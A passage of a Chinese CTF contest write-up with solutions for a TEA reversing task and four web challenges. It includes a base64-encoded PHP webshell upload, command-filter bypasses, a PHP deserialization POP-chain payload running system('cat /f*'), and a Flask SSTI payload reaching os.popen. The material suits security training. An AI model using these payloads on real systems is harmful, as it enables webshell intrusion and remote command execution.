        for(i=0;i<32;i++){
                sum+=delta;
                v0+=((v1<<4)+k0)^(v1+sum)^((v1>>5)+k1);
                v1+=((v0<<4)+k2)^(v0+sum)^((v0>>5)+k3);
        } 
        v[0]=v0;v[1]=v1;
}
void decrypt (uint32_t *v,uint32_t *k){
        uint32_t v0=v[0],v1=v[1],sum=0xC6EF3720,i;        //这里的sum是0x9e3779b9*32后截取32位的结果
        uint32_t delta=0x9e3779b9;
        uint32_t k0=k[0],k1=k[1],k2=k[2],k3=k[3];
        for (i=0;i<32;i++){
                v1-=((v0<<4)+k2)^(v0+sum)^((v0>>5)+k3);
                v0-=((v1<<4)+k0)^(v1+sum)^((v1>>5)+k1);
                sum-=delta;
        } 
        v[0]=v0;v[1]=v1;
}
int main()
{
        int i;
        uint32_t v[32]={0x3252ed85,0x43e280f6,0xf56e39f5,0x3698a3a8,0xc4777109,0x1421affd,0x6134c4b7,0x248722fc},k[4]={0x51,0x4C,0x4E,0x55};
      
         
        for(i=0;i<8;i+=2)
        
        {      
             decrypt(v+i,k);
         } 
         
        printf("n解密密之后的数据是:n") ;
        
    for(i=0;i<8;i++)
    
    {        
        uint32_t value = v[i];
        char str[5];
        for (int j = 0; j < 4; j++) 
                {
            str[3-j] = (char)(value & 0xFF);
            value >>= 8;
        }
        str[4] = '';  
        printf("%s", str);  
         }     
}

 在⽹上找的脚本

flag:QLNU{JuSt_JuNk_A_CuP_0F_T3A_tEa}

WEB

Upload 

ctrl+u查看源码发现

<!--你想要hint吗可以看看h1nT.php哦-->

访问/h1nT.php

<?php 

if($_GET['action'] == "givemeresource"){ 
    highlight_file('index.php'); 

else
     highlight_file(__File__); 
}

传参?action=givemeresource

拿到源码

<?php
define("UPLOAD_PATH""./upload");
if (!file_exists(UPLOAD_PATH)) {
    mkdir(UPLOAD_PATH, 0777, true);
}

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH . '/upload' . $_FILES['upload_file']['name'];
        $content=base64_decode(file_get_contents($temp_file));//!!!!!
        file_put_contents($temp_file,$content);
        if (move_uploaded_file($temp_file$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
?>

重要的在于

$content=base64_decode(file_get_contents($temp_file));//!!!!!

会把上传的⽂件进⾏base64解码,这⾥我们上传的⽂件内容要先进⾏base64编码 原先的⼀句话⽊⻢

<?php
highlight_file(__FILE__);

eval($_POST["a"]);

编码后

PD9waHAKaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOwoKZXZhbCgkX1BPU1RbImEiXSk7

放进shell.php⾥上传⽂件

回显了⽂件路径

23级第二次校赛WP

访问发现存在⽊⻢⽂件

23级第二次校赛WP

可以直接命令执⾏

23级第二次校赛WP

也可以蚁剑连接,原理相当于利⽤传⼊的⼀句话⽊⻢`eval($_POST["a"]);`所以密码为a,即后⻔参数

23级第二次校赛WP

23级第二次校赛WP

BabyRce

<?php 

$code = $_GET['code']; 
if (isset($code)) { 
    if (!preg_match("/cat|tac|more|less|head|tail|vi|vim|sort|flag|[0-9]|*|`|%|>|<|'|"/i"$code)) { 
        system($code); 
    }else { 
        echo "hhhhhhacker!!!"."n"
    } 
else { 
    highlight_file(__FILE__); 

get传参, preg_match 通配符,过滤掉许多常⻅命令,这⾥ 可以百度 rce绕过,

  1. 寻找还可以使用的读取文件命令

  2. 直接过过滤

先查看文件

23级第二次校赛WP

只能看到flag缺读取不到

23级第二次校赛WP

这⾥给出⼀些查看⽂件命令

cat/tac/more/less/head/tail/nl/od/uniq

其余⽤法可以⾃⾏尝试,当然还有很多读取flag的⽅式,这⾥选择较为简单的 换命令执⾏

23级第二次校赛WP

POP

搜索题⽬名字pop发现是 反序列化

23级第二次校赛WP

可以直接看到源码

<?php 
class Q { 

    public static $Q1ngchua = false
    public static $Yhuanhuan = false

class L { 
    public $p

    public function flag() 
    { 
        ($this->p)(); 
    } 

class N{ 

    public $n
    public function __destruct() 
    { 

        Q::$Q1ngchua = true
        echo $this->n; 
    } 

class U { 
    public $o
    public function __toString() 
    { 
        Q::$Yhuanhuan = true
        $this->o->flag(); 
        return "其实。。。。,"
    } 

class Xiaogou { 
    public $isyou
    public $flag
    public function __invoke() 
    { 
        if (Q::$Q1ngchua) { 

            ($this->isyou)($this->flag); 
            echo "小狗竟是我自己呜呜呜"
        } else { 
            echo "Yhuanhuan才是小狗"
        } 
    } 

if (isset($_GET['data'])) { 
    highlight_file(__FILE__); 
    unserialize(base64_decode($_GET['data'])); 
else { 
    highlight_file(__FILE__); 
    echo "难道你是小狗嘛???"
}

⾸先寻找源码中可以利⽤的点

class Xiaogou { 
    public $isyou
    public $flag
    public function __invoke() 
    { 
        if (Q::$Q1ngchua) { 

            ($this->isyou)($this->flag); 
            echo "小狗竟是我自己呜呜呜"
        } else { 
            echo "Yhuanhuan才是小狗"
        } 
    } 

危险的点

($this->isyou)($this->flag);

魔术方法

  1. __construct(),类的构造函数

  2. __destruct(),类的析构函数

  3. __call(),在对象中调用一个不可访问方法时调用

  4. __callStatic(),用静态方式中调用一个不可访问方法时调用

  5. __get(),获得一个类的成员变量时调用

  6. __set(),设置一个类的成员变量时调用

  7. __isset(),当对不可访问属性调用isset()或empty()时调用

  8. __unset(),当对不可访问属性调用unset()时被调用。

  9. __sleep(),执行serialize()时,先会调用这个函数

  10. __wakeup(),执行unserialize()时,先会调用这个函数

  11. __toString(),类被当成字符串时的回应方法

  12. __invoke(),调用函数的方式调用一个对象时的回应方法

  13. __set_state(),调用var_export()导出类时,此静态方法会被调用。

  14. __clone(),当对象复制完成时调用

  15. __autoload(),尝试加载未定义的类

  16. __debugInfo(),打印所需调试信息

isyou参数和flag参数都是可控的

可以构造类似

public $isyou = "system";

public $flag = "cat /f*";

等价于system(cat /f*) 

现在就要想办法让函数执⾏到这⾥

也就是触发__invoke() 函数(尝试以调⽤函数的⽅式调⽤⼀个对象时) 

这⾥是

class L {
    public $p;

    public function flag()
    {
        ($this->p)();
    }
}

触发到

($this->p)();

这⾥没有魔术⽅法,但是在

class U {
    public $o;
    public function __toString()
    {
        Q::$Yhuanhuan = true;
        $this->o->flag();
        return "其实。。。。,";
    }
}

存在调⽤flag(),触发它需要触发__toString()魔术⽅法 

触发条件

一个对象被当作字符串来处理,例如使用echo或print打印对象

这⾥可以找到好多echo的类,这⾥选择N类

class N{

    public $n;
    public function __destruct()
    {

        Q::$Q1ngchua = true;
        echo $this->n;
    }
}

理由是其中存在__destruct()魔术⽅法

条件

在对象销毁时触发,也就是unserialize时可以触

⼀整条链就完整了: 

从源码中发现我们可以发现存在

if (isset($_GET['data'])) { 
    highlight_file(__FILE__); 
    unserialize(base64_decode($_GET['data'])); 
    }

这⾥会反序列化我们输⼊的数据 

会触发__destruct()魔术⽅法,从⽽可以执⾏ echo $this->n;

然后触发__toString()魔术⽅法,从⽽调⽤flag()

然后触发 ($this->p)();

然后触发__invoke() 函数,执⾏我们提前构造好的恶意代码 

public $isyou = "system";public $flag = "cat /f*"; 

其中的if条件可以忽略不记,题⽬中出题⼈给了设置好的条件,可以不⽤改

pop链

//需要本地有php环境,配置一下php环境,简单的可以用phpstudy
<?php
class Q {

    public static $Q1ngchua = true;
    public static $Yhuanhuan = false;
}
class L {
    public $p;

    public function flag()
    {
        ($this->p)();
    }
}
class N{

    public $n;
    public function __destruct()
    {

        Q::$Q1ngchua = true;
        echo $this->n;
    }
}
class U {
    public $o;
    public function __toString()
    {
        Q::$Yhuanhuan = true;
        $this->o->flag();
        return "其实。。。。,";
    }
}
class Xiaogou {
    public $isyou = "system";
    public $flag = "cat /f*";
    public function __invoke()
    {
        if (Q::$Q1ngchua) {

            ($this->isyou)($this->flag);
            echo "小狗竟是我自己呜呜呜";
        } else {
            echo "Yhuanhuan才是小狗";
        }
    }
}
$a = new N();
$a ->n = new U();
$a -> n ->o =new L();
$a -> n ->o ->p =new Xiaogou();
echo serialize($a);

Payload

//输出的内容
O:1:"N":1:{s:1:"n";O:1:"U":1:{s:1:"o";O:1:"L":1:{s:1:"p";O:7:"Xiaogou":2:{s:5:"isyou";s:6:"system";s:4:"flag";s:7:"cat /f*";}}}}

传⼊参数时有 base64_decode() 函数,传参前先base64编码

if (isset($_GET['data'])) { 
    highlight_file(__FILE__); 
    unserialize(base64_decode($_GET['data'])); 
}
//编码后
TzoxOiJOIjoxOntzOjE6Im4iO086MToiVSI6MTp7czoxOiJvIjtPOjE6IkwiOjE6e3M6MToicCI7Tzo3OiJYaWFvZ291IjoyOntzOjU6ImlzeW91IjtzOjY6InN5c3RlbSI7czo0OiJmbGFnIjtzOjc6ImNhdCAvZioiO319fX0=

完整payload

?data=TzoxOiJOIjoxOntzOjE6Im4iO086MToiVSI6MTp7czoxOiJvIjtPOjE6IkwiOjE6e3M6MToicCI7Tzo3OiJYaWFvZ291IjoyOntzOjU6ImlzeW91IjtzOjY6InN5c3RlbSI7czo0OiJmbGFnIjtzOjc6ImNhdCAvZioiO319fX0=

Flask

考点ssti 

开题,查看源码可以获得提⽰

23级第二次校赛WP

获得题⽬源码

import re
from flask import Flask, render_template, render_template_string, request
app = Flask(__name__)
def isLegalParam(param):
    return (re.search(r'cat|tac|uniqu|more|flag|sort|nl|base|class|"', param, re.M|re.S) is None)
@app.route('/'
def main():
    return render_template("index.html")
@app.route('/calc')
def calc():
    formula = request.args.get("calc")
    answer = request.args.get("answer")
    if isLegalParam(formula) and isLegalParam(answer):
        answerHtml = formula + "=" + answer
    else:
        answerHtml = "Data illegality."
    return render_template_string(answerHtml)
@app.route("/hint")
def hint():
    with open(__file__, "rb") as f:
        file = f.read()
    return file
if __name__ == '__main__':
    app.run(host="0.0.0.0")

过滤了

cat|tac|uniqu|more|flag|sort|nl|base|class|"

⼀些魔术⽅法

class_  返回类型所属的对象
mro返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
base   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
subclasses 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
init 类的初始化方法
globals  对包含函数全局变量的字典的引用

过滤了class可以⽤+绕过['__cla'+'ss__']

 base同理 ['__ba'+'se__'] 

过滤了"可以换成() 

获取⽗类

23级第二次校赛WP

获取⼦类

23级第二次校赛WP

23级第二次校赛WP

这⾥选择利⽤OS模块执⾏命令

利⽤python脚本得到os模块的位置

import re

string ="<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'moduledef'>, <class 'module'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib._installed_safely'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class 'zipimport.zipimporter'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'operator.attrgetter'>, <class 'operator.itemgetter'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class 'collections._Link'>, <class 'functools.partialmethod'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.Pattern'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'typing._Final'>, <class 'typing._Immutable'>, <class 'typing.Generic'>, <class 'typing._TypingEmpty'>, <class 'typing._TypingEllipsis'>, <class 'typing.NamedTuple'>, <class 'typing.io'>, <class 'typing.re'>, <class '_ast.AST'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class 'tokenize.Untokenizer'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class '_hashlib.HASH'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class '_sha3.sha3_224'>, <class '_sha3.sha3_256'>, <class '_sha3.sha3_384'>, <class '_sha3.sha3_512'>, <class '_sha3.shake_128'>, <class '_sha3.shake_256'>, <class '_random.Random'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class 'Struct'>, <class 'unpack_iterator'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class '_pickle.Unpickler'>, <class '_pickle.Pickler'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class '__future__._Feature'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class 'ast.NodeVisitor'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class '_socket.socket'>, <class 'socketserver.BaseServer'>, <class 'socketserver.ForkingMixIn'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'datetime.date'>, <class 'datetime.timedelta'>, <class 'datetime.time'>, <class 'datetime.tzinfo'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'mimetypes.MimeTypes'>, <class 'dis.Bytecode'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>, <class 'http.cookiejar.CookieJar'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'werkzeug.sansio.multipart.Event'>, <class 'werkzeug.sansio.multipart.MultipartDecoder'>, <class 'werkzeug.sansio.multipart.MultipartEncoder'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'hmac.HMAC'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.user_agent.UserAgent'>, <class 'werkzeug.useragents._UserAgentParser'>, <class 'werkzeug.sansio.request.Request'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.sansio.response.Response'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'uuid.UUID'>, <class 'itsdangerous._json._CompactJSON'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'flask._compat._DeprecatedBool'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local._ProxyLookup'>, <class 'werkzeug.local.LocalProxy'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.types.ParamType'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.helpers._PackageBoundObject'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'unicodedata.UCD'>, <class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>"
ClassList = re.split(",", string)
for i in range(0, len(ClassList)):
    print(i, ClassList[i])
    if 'os._wrap_close' in ClassList[i]:
        print(i)
        break

23级第二次校赛WP

跑的os模块为127 后⾯配合魔术⽅法初始化,并对包含函数全局变量的字典的引⽤ 最终payload

1-1={{()['__cla'+'ss__']['__ba'+'se__']['__subcla'+'sses__']()[127].__init__.__globals__['popen']('head fla?').read()}}

在校赛中大家的努力我们都有目共睹。那在看完本次比赛的WP之后你是否又有了新的收获呢,祝大家在接下来的学习中更上一层楼!

网络安全社团公众号

微信号 : qlnu_ctf

新浪微博:齐鲁师范学院网络安全社团

23级第二次校赛WP

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月25日09:20:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   23级第二次校赛WPhttp://cn-sec.com/archives/2600616.html

发表评论

匿名网友 填写信息